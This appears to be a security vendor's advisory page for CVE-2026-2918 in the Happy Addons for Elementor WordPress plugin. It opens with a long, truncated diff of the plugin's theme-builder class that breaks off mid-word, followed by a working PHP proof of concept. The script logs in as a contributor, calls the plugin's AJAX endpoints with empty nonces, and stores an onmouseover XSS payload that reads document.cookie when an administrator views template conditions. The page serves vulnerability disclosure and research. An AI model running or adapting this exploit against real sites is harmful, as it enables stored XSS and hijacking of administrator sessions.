+        add_action( 'happyaddons_theme_builder_render', [$this, 'single_blog_content_elementor'], 999 );
+
+        add_action( 'elementor/elements/categories_registered', [$this, 'add_elementor_widget_categories'] );
+
+        // Register Ajax Handles
+        // add_action( 'wp_ajax_ha_cond_template_type', [$this, 'ha_get_template_type'] );
+    }
+
+    public function add_elementor_widget_categories( $elements_manager ) {
+        if ( self::CPT == get_post_type() ) {
+            $elements_manager->add_category(
+                'happy_addons_theme_builder',
+                [
+                    'title' => esc_html__( 'Happy Theme Builder', 'happy-elementor-addons' ),
+                    'icon'  => 'fa fa-plug'
+                ]
+            );
+        }
+    }
+
+    public static function get_template_types() {
+        $template_types = [
+            'header'  => esc_html__( 'Header', 'happy-elementor-addons' ),
+            'footer'  => esc_html__( 'Footer', 'happy-elementor-addons' ),
+            'single'  => esc_html__( 'Single', 'happy-elementor-addons' ),
+            'archive' => esc_html__( 'Archive', 'happy-elementor-addons' )
+        ];
+
+        // return apply_filters('happyaddons_theme_builder_template_types', $template_types);
+
+        return apply_filters( 'happyaddons/theme-builder/template-types', $template_types );
+    }
+
+    public function add_query_vars_filter( $vars ) {
+        $vars[] = 'ha_library_type';
+
+        return $vars;
+    }
+
+    // Register Custom Post Type Theme Builder
+    public function create_themebuilder_cpt() {
+
+        $labels = [
+            'name'                  => _x( 'Theme Builder', 'Post Type General Name', 'happy-elementor-addons' ),
+            'singular_name'         => _x( 'Theme Builder', 'Post Type Singular Name', 'happy-elementor-addons' ),
+            'menu_name'             => _x( 'Theme Builder', 'Admin Menu text', 'happy-elementor-addons' ),
+            'name_admin_bar'        => _x( 'Theme Builder', 'Add New on Toolbar', 'happy-elementor-addons' ),
+            'archives'              => __( 'Theme Builder Archives', 'happy-elementor-addons' ),
+            'attributes'            => __( 'Theme Builder Attributes', 'happy-elementor-addons' ),
+            'parent_item_colon'     => __( 'Parent Theme Builder:', 'happy-elementor-addons' ),
+            'all_items'             => __( 'All Theme Builder', 'happy-elementor-addons' ),
+            'add_new_item'          => __( 'Add New Theme Builder', 'happy-elementor-addons' ),
+            'add_new'               => __( 'Add New', 'happy-elementor-addons' ),
+            'new_item'              => __( 'New Theme Builder', 'happy-elementor-addons' ),
+            'edit_item'             => __( 'Edit Theme Builder', 'happy-elementor-addons' ),
+            'update_item'           => __( 'Update Theme Builder', 'happy-elementor-addons' ),
+            'view_item'             => __( 'View Theme Builder', 'happy-elementor-addons' ),
+            'view_items'            => __( 'View Theme Builder', 'happy-elementor-addons' ),
+            'search_items'          => __( 'Search Theme Builder', 'happy-elementor-addons' ),
+            'not_found'             => __( 'Not found', 'happy-elementor-addons' ),
+            'not_found_in_trash'    => __( 'Not found in Trash', 'happy-elementor-addons' ),
+            'featured_image'        => __( 'Featured Image', 'happy-elementor-addons' ),
+            'set_featured_image'    => __( 'Set featured image', 'happy-elementor-addons' ),
+            'remove_featured_image' => __( 'Remove featured image', 'happy-elementor-addons' ),
+            'use_featured_image'    => __( 'Use as featured image', 'happy-elementor-addons' ),
+            'insert_into_item'      => __( 'Insert into Theme Builder', 'happy-elementor-addons' ),
+            'uploaded_to_this_item' => __( 'Uploaded to this Theme Builder', 'happy-elementor-addons' ),
+            'items_list'            => __( 'Theme Builder list', 'happy-elementor-addons' ),
+            'items_list_navigation' => __( 'Theme Builder list navigation', 'happy-elementor-addons' ),
+            'filter_items_list'     => __( 'Filter Theme Builder list', 'happy-elementor-addons' )
+        ];
+        $args = [
+            'label'               => __( 'Theme Builder', 'happy-elementor-addons' ),
+            'description'         => __( '', 'happy-elementor-addons' ),
+            'labels'              => $labels,
+            'supports'            => ['title', 'elementor'],
+            'taxonomies'          => [],
+            'public'              => true,
+            'show_ui'             => true,
+            'show_in_menu'        => '',
+            'show_in_admin_bar'   => false,
+            'show_in_nav_menus'   => false,
+            'can_export'          => true,
+            'has_archive'         => false,
+            'hierarchical'        => false,
+            'exclude_from_search' => true,
+            'capability_type'     => 'page',
+            'map_meta_cap'        => true,
+        ];
+        register_post_type( 'ha_library', $args );
+    }
+
+    public function modify_menu() {
+        add_submenu_page(
+            Dashboard::PAGE_SLUG,                          // Parent slug
+            __( 'Theme Builder', 'happy-elementor-addons' ), // Page title
+            __( 'Theme Builder', 'happy-elementor-addons' ), // Menu title
+            'manage_options',                              // Capability
+            'edit.php?post_type=ha_library',               // Slug
+            false                                          // Function
+        );
+    }
+
+    public function add_role_filter_to_posts_query( $query ) {
+        /**
+         * No use on front
+         * pre get posts runs everywhere
+         * even if you test $pagenow after, bail as soon as possible
+         */
+        if ( !is_admin() ) {
+            return;
+        }
+
+        global $pagenow;
+
+        /**
+         * use $query parameter instead of global $post_type
+         */
+        if ( 'edit.php' === $pagenow && self::CPT === $query->query['post_type'] ) {
+
+            if ( isset( $_GET['ha_library_type'] ) ) {
+                $meta_query = [
+                    [
+                        'key'     => '_ha_library_type',
+                        'value'   => sanitize_text_field( $_GET['ha_library_type'] ),
+                        'compare' => '=='
+                    ]
+                ];
+                $query->set( 'meta_query', $meta_query );
+                $query->set( 'meta_key', '_ha_library_type' );
+            }
+        }
+    }

-		private function render_admin_top_bar() {
-		?>
+    private function render_admin_top_bar() {
+        ?>
         <div id="ha-admin-top-bar-root">
             <div class="ha-admin-top-bar">
                 <div class="ha-admin-top-bar__main-area">
@@ -230,782 +231,781 @@
             </div>
         </div>
     <?php
-    	}
+        }

-    		public static function admin_columns_headers( $posts_columns ) {
-    			$offset = 2;
+            public static function admin_columns_headers( $posts_columns ) {
+                $offset = 2;

-    			$posts_columns = array_slice( $posts_columns, 0, $offset, true ) + [
-    				'type'      => __( 'Type', 'happy-elementor-addons' ),
-    				'condition' => __( 'Conditions', 'happy-elementor-addons' )
-    			] + array_slice( $posts_columns, $offset, null, true );
+                $posts_columns = array_slice( $posts_columns, 0, $offset, true ) + [
+                    'type'      => __( 'Type', 'happy-elementor-addons' ),
+                    'condition' => __( 'Conditions', 'happy-elementor-addons' )
+                ] + array_slice( $posts_columns, $offset, null, true );

-    			return $posts_columns;
-    		}
+                return $posts_columns;
+            }

-    		public function admin_columns_content( $column_name, $post_id ) {
+            public function admin_columns_content( $column_name, $post_id ) {

-    			// $instance = self::instance();
+                // $instance = self::instance();

-    			if ( 'type' === $column_name ) {
+                if ( 'type' === $column_name ) {

-    				$type     = get_post_meta( $post_id, '_ha_library_type', true );
-    				$isActive = get_post_meta( $post_id, '_ha_template_active', true );
+                    $type     = get_post_meta( $post_id, '_ha_library_type', true );
+                    $isActive = get_post_meta( $post_id, '_ha_template_active', true );

-    				echo ucwords( str_replace( '-', ' ', $type ) );
+                    echo ucwords( str_replace( '-', ' ', $type ) );

-    				echo "<span id='htlt-", $post_id, "'>";
+                    echo "<span id='htlt-", $post_id, "'>";

-    				if ( $isActive ) {
+                    if ( $isActive ) {

-    					echo ' - <b>Active</b>';
+                        echo ' - <b>Active</b>';

-    				}
+                    }

-    				echo '</span>';
-    			}
+                    echo '</span>';
+                }

-    			if ( 'condition' === $column_name ) {
+                if ( 'condition' === $column_name ) {

-    				$type = get_post_meta( $post_id, '_ha_library_type', true );
+                    $type = get_post_meta( $post_id, '_ha_library_type', true );

-    				if ( 'loop-template' != $type ) {
-    					// generate display condition from document conditions
-    					$includeConditions = [];
-    					$excludeConditions = [];
+                    if ( 'loop-template' != $type ) {
+                        // generate display condition from document conditions
+                        $includeConditions = [];
+                        $excludeConditions = [];

-    					// get doc conditions
-    					$documentConditions = $this->get_document_conditions( $post_id );
+                        // get doc conditions
+                        $documentConditions = $this->get_document_conditions( $post_id );

-    					if ( ! empty( $documentConditions ) ) {
-    						foreach ( $documentConditions as $key => $condition ) {
-    							if ( 'include' === $condition['type'] ) {
-    								$sub_page_id         = ! empty( $condition['sub_id'] ) ? '#' . get_the_title( $condition['sub_id'] ) : '';
-    								$con_label           = ! empty( $condition['sub_name'] ) && 'all' !== $condition['sub_name'] ? Condition_Manager::instance()->get_name( $condition['sub_name'] ) . $sub_page_id : Condition_Manager::instance()->get_all_name( $condition['name'] );
-    								$includeConditions[] = $con_label;
-    							} else if ( 'exclude' === $condition['type'] ) {
-    								$sub_page_id         = ! empty( $condition['sub_id'] ) ? '#' . get_the_title( $condition['sub_id'] ) : '';
-    								$con_label           = ! empty( $condition['sub_name'] ) && 'all' !== $condition['sub_name'] ? Condition_Manager::instance()->get_name( $condition['sub_name'] ) . $sub_page_id : Condition_Manager::instance()->get_all_name( $condition['name'] );
-    								$excludeConditions[] = $con_label;
-    							} else {
-    								// not use this..
-    							}
+                        if ( !empty( $documentConditions ) ) {
+                    foreach ( $documentConditions as $key => $condition ) {
+                        if ( 'include' === $condition['type'] ) {
+                            $sub_page_id         = !empty( $condition['sub_id'] ) ? '#' . get_the_title( $condition['sub_id'] ) : '';
+                            $con_label           = !empty( $condition['sub_name'] ) && 'all' !== $condition['sub_name'] ? Condition_Manager::instance()->get_name( $condition['sub_name'] ) . $sub_page_id : Condition_Manager::instance()->get_all_name( $condition['name'] );
+                            $includeConditions[] = $con_label;
+                        } else if ( 'exclude' === $condition['type'] ) {
+                            $sub_page_id         = !empty( $condition['sub_id'] ) ? '#' . get_the_title( $condition['sub_id'] ) : '';
+                            $con_label           = !empty( $condition['sub_name'] ) && 'all' !== $condition['sub_name'] ? Condition_Manager::instance()->get_name( $condition['sub_name'] ) . $sub_page_id : Condition_Manager::instance()->get_all_name( $condition['name'] );
+                            $excludeConditions[] = $con_label;
+                        } else {
+                            // not use this..
+                        }

-    						}
-    					}
+                    }
+                        }

-    					echo '<b>Include : </b> ' . implode( ', ', $includeConditions ) . '<br/>' . '<b>Exclude : </b> ' . implode( ', ', $excludeConditions );
-    				} else {
-    					echo '<b>Not Applicable</b>';
-    				}
-    			}
-    		}
+                        echo '<b>Include : </b> ' . implode( ', ', $includeConditions ) . '<br/>' . '<b>Exclude : </b> ' . implode( ', ', $excludeConditions );
+                    } else {
+                        echo '<b>Not Applicable</b>';
+                    }
+                }
+            }

-    		public function admin_print_tabs( $views ) {
-    			$getActive = get_query_var( 'ha_library_type' );
-    			// var_dump($getActive);
-    		?>
+            public function admin_print_tabs( $views ) {
+                $getActive = get_query_var( 'ha_library_type' );
+                // var_dump($getActive);
+            ?>
         <div id="happyaddon-template-library-tabs-wrapper" class="nav-tab-wrapper">
-            <a class="nav-tab <?=! ( $getActive ) ? 'nav-tab-active' : '';?>" href="<?=admin_url( self::TAB_BASE )?>">All</a>
+            <a class="nav-tab <?=! (  $getActive ) ? 'nav-tab-active' : '';?>" href="<?=admin_url(  self::TAB_BASE )?>">All</a>
             <?php
-            	foreach ( self::get_template_types() as $key => $value ) {
-            				$active           = ( $getActive == $key ) ? 'nav-tab-active' : '';
-            				$admin_filter_url = admin_url( self::TAB_BASE . '&ha_library_type=' . $key );
-            				echo '<a class="nav-tab ' . $active . '" href="' . $admin_filter_url . '">' . $value . '</a>';
-            			}
-            		?>
+                foreach ( self::get_template_types() as $key => $value ) {
+                            $active           = ( $getActive == $key ) ? 'nav-tab-active' : '';
+                            $admin_filter_url = admin_url( self::TAB_BASE . '&ha_library_type=' . $key );
+                            echo '<a class="nav-tab ' . $active . '" href="' . $admin_filter_url . '">' . $value . '</a>';
+                        }
+                    ?>
         </div>
         <br>
 <?php

-			return $views;
-		}
+        return $views;
+    }

-		/**
-		 * @since 2.3.0
-		 * @access public
-		 */
-		public function add_new_template_template() {
-			ob_start();
-			include HAPPY_ADDONS_DIR_PATH . 'templates/admin/new-template.php';
-			$template = ob_get_clean();
-			echo $template;
-		}
-
-		// public function edit_template_template() {
-		//     ob_start();
-		//     include(HAPPY_ADDONS_DIR_PATH . 'templates/admin/edit-template.php');
-		//     $template = ob_get_clean();
-		//     echo $template;
-		// }
-
-		public function edit_template_condition_modal() {
-			if ( self::CPT === get_post_type() ) {
-				ob_start();
-				include HAPPY_ADDONS_DIR_PATH . 'templates/admin/edit-template-condition.php';
-				$template = ob_get_clean();
-				echo $template;
-			}
-		}
-
-		/**
-		 * Admin action new post.
-		 *
-		 * When a new post action is fired the title is set to 'Elementor' and the post ID.
-		 *
-		 * Fired by `admin_action_elementor_new_post` action.
-		 *
-		 * @since 1.9.0
-		 * @access public
-		 */
-		public function admin_action_new_post() {
-
-			// echo '<pre>';
-			// var_dump($_REQUEST);
-			// echo '</pre>';
-
-			// die();
-
-			check_admin_referer( 'ha_library_new_post_action' );
-
-			if ( empty( $_GET['post_type'] ) ) {
-				$post_type = 'post';
-			} else {
-				$post_type = sanitize_text_field( $_GET['post_type'] );
-			}
-
-			$post_type_object = get_post_type_object( $post_type );
-
-			if ( ! current_user_can( $post_type_object->cap->edit_posts ) ) {
-				return;
-			}
-
-			if ( empty( $_GET['template_type'] ) ) {
-				$type = 'post';
-			} else {
-				$type = sanitize_text_field( $_GET['template_type'] );
-			}
-
-			$post_data = isset( $_GET['post_data'] ) ? ha_sanitize_array_recursively( $_GET['post_data'] ) : [];
-
-			// $template_display_type = isset($_GET['template_display_type']) ? $_GET['template_display_type'] : '';
-			// $template_display_type_singular = isset($_GET['template_display_type_singular']) ? $_GET['template_display_type_singular'] : '';
-			// $template_display_type_selected = isset($_GET['template_display_type_selected']) ? $_GET['template_display_type_selected'] : [];
-
-			$conditions = [];
-
-			// if (!empty($template_display_type)) {
-			//     $conditions .= $template_display_type;
-			//     if ($template_display_type == 'singular') {
-			//         $conditions .= '/' . $template_display_type_singular;
-			//         if ($template_display_type_singular == 'selective') {
-			//             $vals = implode(',', $template_display_type_selected);
-			//             $conditions .= '/' . $vals;
-			//         }
-			//     }
-			// }
-
-			$meta = [];
-
-			/**
-			 * Create new post meta data.
-			 *
-			 * Filters the meta data of any new post created.
-			 *
-			 * @since 2.0.0
-			 *
-			 * @param array $meta Post meta data.
-			 */
-			// $meta = apply_filters( 'elementor/admin/create_new_post/meta', $meta );
-
-			$meta['display_conditions'] = $conditions;
-			$post_data['post_type']     = $post_type;
-
-			$document = $this->create_template_document( $type, $post_data, $meta );
-
-			if ( is_wp_error( $document ) ) {
-				wp_die( $document ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-			}
-
-			wp_redirect( $this->get_edit_url( $document ) );
-
-			die;
-		}
-
-		protected function create_template_document( $type, $post_data, $meta ) {
-			if ( empty( $post_data['post_title'] ) ) {
-				$post_data['post_title'] = esc_html__( 'Elementor', 'happy-elementor-addons' );
-				$update_title            = true;
-			}
-
-			$meta_data['_elementor_edit_mode'] = 'builder';
-
-			// Save the type as-is for plugins that hooked at `wp_insert_post`.
-			$meta_data['_ha_library_type']  = $type;
-			$meta_data['_ha_display_cond']  = $meta['display_conditions'];
-			$meta_data['_wp_page_template'] = 'elementor_canvas';
-
-			$post_data['meta_input'] = $meta_data;
-
-			$post_id = wp_insert_post( $post_data );
-
-			if ( ! empty( $update_title ) ) {
-				$post_data['ID'] = $post_id;
-				$post_data['post_title'] .= ' #' . $post_id;
-
-				// The meta doesn't need update.
-				unset( $post_data['meta_input'] );
-
-				wp_update_post( $post_data );
-			}
-
-			return $post_id;
-		}
-
-		public function get_edit_url( $id ) {
-			$url = add_query_arg(
-				[
-					'post'   => $id,
-					'action' => 'elementor'
-				],
-				admin_url( 'post.php' )
-			);
-
-			return $url;
-		}
-
-		public function hooks() {
-			$this->current_template = basename( get_page_template_slug() );
-			if ( 'elementor_canvas' == $this->current_template ) {
-				return;
-			}
-
-			$this->current_theme = get_template();
-
-			switch ( $this->current_theme ) {
-				case 'astra':
-					new Happy_AddonsElementorClassesBuilder_CompatibilityAstra( self::template_ids() );
-					break;
-
-				case 'generatepress':
-				case 'generatepress-child':
-					new Happy_AddonsElementorClassesBuilder_CompatibilityGeneratepress( self::template_ids() );
-					break;
-
-				case 'oceanwp':
-				case 'oceanwp-child':
-					new Happy_AddonsElementorClassesBuilder_CompatibilityOceanwp( self::template_ids() );
-					break;
-
-				case 'bb-theme':
-				case 'bb-theme-child':
-					new Happy_AddonsElementorClassesBuilder_CompatibilityBbtheme( self::template_ids() );
-					break;
-
-				case 'genesis':
-				case 'genesis-child':
-					new Happy_AddonsElementorClassesBuilder_CompatibilityGenesis( self::template_ids() );
-					break;
-
-				case 'twentynineteen':
-					new Happy_AddonsElementorClassesBuilder_CompatibilityTwentyNineteen( self::template_ids() );
-					break;
-
-				case 'my-listing':
-				case 'my-listing-child':
-					new Happy_AddonsElementorClassesBuilder_CompatibilityMy_Listing( self::template_ids() );
-					break;
-
-				default:
-					new Happy_AddonsElementorClassesBuilder_CompatibilityTheme_Support();
-					break;
-			}
-		}
-
-		public static function template_ids() {
-			$cached = wp_cache_get( 'ha_template_ids' );
-			if ( false !== $cached ) {
-				return $cached;
-			}
-
-			$instance = self::instance();
-			$instance->the_filter();
-
-			$ids = [
-				$instance->header_template,
-				$instance->footer_template,
-				$instance->singular_template
-			];
-
-			if ( null != $instance->header_template ) {
-				if ( class_exists( 'ElementorCoreFilesCSSPost' ) ) {
-					$css_file = new ElementorCoreFilesCSSPost( $instance->header_template );
-					$css_file->enqueue();
-				}
-			}
-
-			if ( null != $instance->footer_template ) {
-				if ( class_exists( 'ElementorCoreFilesCSSPost' ) ) {
-					$css_file = new ElementorCoreFilesCSSPost( $instance->footer_template );
-					$css_file->enqueue();
-				}
-			}
-
-			wp_cache_set( 'ha_template_ids', $ids );
-
-			return $ids;
-		}
-
-		public function get_document_instances( $post_id ) {
-
-			$summary = [];
-
-			$document_conditions = $this->get_document_conditions( $post_id );
-
-			$summary = [];
-
-			if ( ! empty( $document_conditions ) ) {
-				foreach ( $document_conditions as $document_condition ) {
-					if ( 'exclude' === $document_condition['type'] ) {
-						// continue;
-					}
-
-					// print_r($document_condition);
-
-					$condition_name = ! empty( $document_condition['sub_name'] ) ? $document_condition['sub_name'] : $document_condition['name'];
-
-					// $condition = $this->get_condition($condition_name);
-					// if (!$condition) {
-					//     continue;
-					// }
-
-					if ( ! empty( $document_condition['sub_id'] ) ) {
-						$instance_label = Condition_Manager::instance()->get_name( $condition_name ) . " #{$document_condition['sub_id']}";
-					} else {
-						// $instance_label = $condition_name->get_all_label();
-						$instance_label = Condition_Manager::instance()->get_all_name( $condition_name );
-					}
-
-					$summary[$condition_name] = $instance_label;
-				}
-			}
-
-			return $summary;
-		}
-
-		/**
-		 * @param Theme_Document $document
-		 *
-		 * @return array
-		 */
-		public function get_document_conditions( $post_id ) {
-			$saved_conditions = get_post_meta( $post_id, '_ha_display_cond', true );
-
-			$conditions = [];
-
-			if ( is_array( $saved_conditions ) ) {
-				foreach ( $saved_conditions as $condition ) {
-					$conditions[] = $this->parse_condition( $condition );
-				}
-			}
-
-			return $conditions;
-		}
-
-		private function get_template_by_location( $location ) {
-			$templates = $this->cache->get_by_location( $location );
-
-			return $templates;
-		}
-
-		protected function the_filter() {
-			$arg = [
-				'posts_per_page' => -1,
-				'orderby'        => 'id',
-				'order'          => 'DESC',
-				'post_status'    => 'publish',
-				'post_type'      => self::CPT
-			];
-
-			$this->templates = get_posts( $arg );
-
-			$this->templates = null;
-
-			// more conditions can be triggered at once
-			// don't use switch case
-			// may impliment and callable by dynamic class in future
-
-			// entire site
-			if ( ! is_admin() ) {
-				$filters = [[
-					'key'   => 'condition_a',
-					'value' => 'general'
-				]];
-				$this->load_template_element( $filters );
-			}
-
-			// all pages, all posts, 404 page
-			if ( is_page() ) {
-				$filters = [
-					[
-						'key'   => 'condition_a',
-						'value' => 'singular'
-					],
-					[
-						'key'   => 'condition_singular',
-						'value' => 'all_pages'
-					]
-				];
-				$this->load_template_element( $filters );
-			} else if ( is_single() ) {
-				$filters = [
-					[
-						'key'   => 'condition_a',
-						'value' => 'posts'
-					]
-				];
-				$this->load_template_element( $filters );
-			} else if ( is_404() ) {
-				$filters = [
-					[
-						'key'   => 'condition_a',
-						'value' => 'singular'
-					],
-					[
-						'key'   => 'condition_singular',
-						'value' => '404page'
-					]
-				];
-				$this->load_template_element( $filters );
-			}
-		}
-
-		private function check_elementor_content( $post_id ) {
-			$elContent = get_post_meta( $post_id, '_elementor_data', true );
-
-			if ( $elContent ) {
-				return true;
-			}
-
-			return false;
-		}
-
-		public function get_public_post_types() {
-			$post_type_args = [
-				// Default is the value $public.
-				'show_in_nav_menus' => true
-			];
-
-			// Keep for backwards compatibility
-			if ( ! empty( $args['post_type'] ) ) {
-				$post_type_args['name'] = $args['post_type'];
-				unset( $args['post_type'] );
-			}
-
-			$post_type_args = wp_parse_args( $post_type_args );
-
-			$_post_types = get_post_types( $post_type_args, 'objects' );
-
-			$post_types = [];
-
-			foreach ( $_post_types as $post_type => $object ) {
-				$post_types[$post_type] = $object->label;
-			}
-
-			return $post_types;
-		}
-
-		public function ha_theme_builder_content( $template ) {
-			$location = '';
-
-			if ( is_singular( array_keys( $this->get_public_post_types() ) ) || is_404() ) {
-				$location = 'single';
-
-				$isBuiltWithElementor = $this->check_elementor_content( get_the_ID() );
-
-				if ( $isBuiltWithElementor ) {
-					return $template;
-				}
-			} else if ( function_exists( 'is_shop' ) && is_shop() ) {
-				$location = 'archive';
-			} else if ( is_archive() || is_tax() || is_home() || is_search() ) {
-				$location = 'archive';
-			}
-
-			if ( class_exists( "ElementorProPlugin" ) ) {
-				$document              = ElementorProPlugin::elementor()->documents->get_doc_for_frontend( get_the_ID() );
-				$page_templates_module = ElementorProPlugin::elementor()->modules_manager->get_modules( 'page-templates' );
-
-				if ( $document && $document instanceof ElementorProModulesThemeBuilderDocumentsTheme_Document ) {
-					// For editor preview iframe.
-					$location = $document->get_location();
-
-					if ( 'header' === $location || 'footer' === $location ) {
-						$page_template = $page_templates_module::TEMPLATE_HEADER_FOOTER;
-						$template_path = $page_templates_module->get_template_path( $page_template );
-						$page_templates_module->set_print_callback( function () use ( $location ) {
-							ElementorProModulesThemeBuilderModule::instance()->get_locations_manager()->do_location( $location );
-						} );
-						$template = $template_path;
-
-						return $template;
-					}
-				}
-			}
-			if ( $location ) {
-				$location_documents = Condition_Manager::instance()->get_documents_for_location( $location );
-
-				if ( empty( $location_documents ) ) {
-					return $template;
-				}
-
-				if ( 'single' === $location || 'archive' === $location ) {
-
-					$first_key      = key( $location_documents );
-					$theme_document = $location_documents[$first_key];
-
-					$templateType = get_post_meta( $theme_document, '_wp_page_template', true );
-
-					$this->singular_template = $theme_document;
-
-					if ( $theme_document ) {
-						switch ( $templateType ) {
-							case 'elementor_canvas':
-								$template = HAPPY_ADDONS_DIR_PATH . 'templates/builder/singular/canvas.php';
-								break;
-							case 'elementor_header_footer':
-								$template = HAPPY_ADDONS_DIR_PATH . 'templates/builder/singular/fullwidth.php';
-								break;
-							default:
-								// $template = $template;
-								$template = HAPPY_ADDONS_DIR_PATH . 'templates/builder/singular/fullwidth.php';
-								break;
-						}
-					}
-				}
-			}
-
-			return $template;
-		}
-
-		/*
-		 * Render Elementor single blog content
-		 */
-		public function single_blog_content_elementor( $post ) {
-			$templat

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2918 - Happy Addons for Elementor <= 3.21.0 - Insecure Direct Object Reference to Authenticated (Contributor+) Stored Cross-Site Scripting via Template Conditions

<?php
/**
 * Proof of Concept for CVE-2026-2918
 * Requires Contributor-level WordPress credentials
 * Demonstrates IDOR to XSS chain via template condition injection
 */

$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Step 1: Authenticate and obtain WordPress cookies
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);

// Step 2: Find existing ha_library templates using the unprotected endpoint
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'ha_get_current_condition',
        'template_id' => 1, // Start with ID 1, iterate as needed
        'nonce' => '' // Nonce not required due to missing validation
    ]),
    CURLOPT_RETURNTRANSFER => true
]);
$template_check = curl_exec($ch);

// Step 3: Inject malicious condition with XSS payload
// The payload uses onmouseover event handler in condition value
$malicious_conditions = json_encode([
    [
        'main' => 'singular',
        'sub_name' => 'page',
        'sub_id' => '1',
        'value' => '1" onmouseover="alert(document.cookie)" data-xss="'
    ]
]);

curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'ha_condition_update',
        'template_id' => 1, // Target any published template
        'conds' => $malicious_conditions,
        'nonce' => '' // Nonce validation exists but uses incorrect capability check
    ]),
    CURLOPT_RETURNTRANSFER => true
]);

$result = curl_exec($ch);
curl_close($ch);

echo "Exploit attempted. When an administrator views template conditions,";
echo " the onmouseover event will execute JavaScript with their cookies.n";
echo "Response: " . $result . "n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School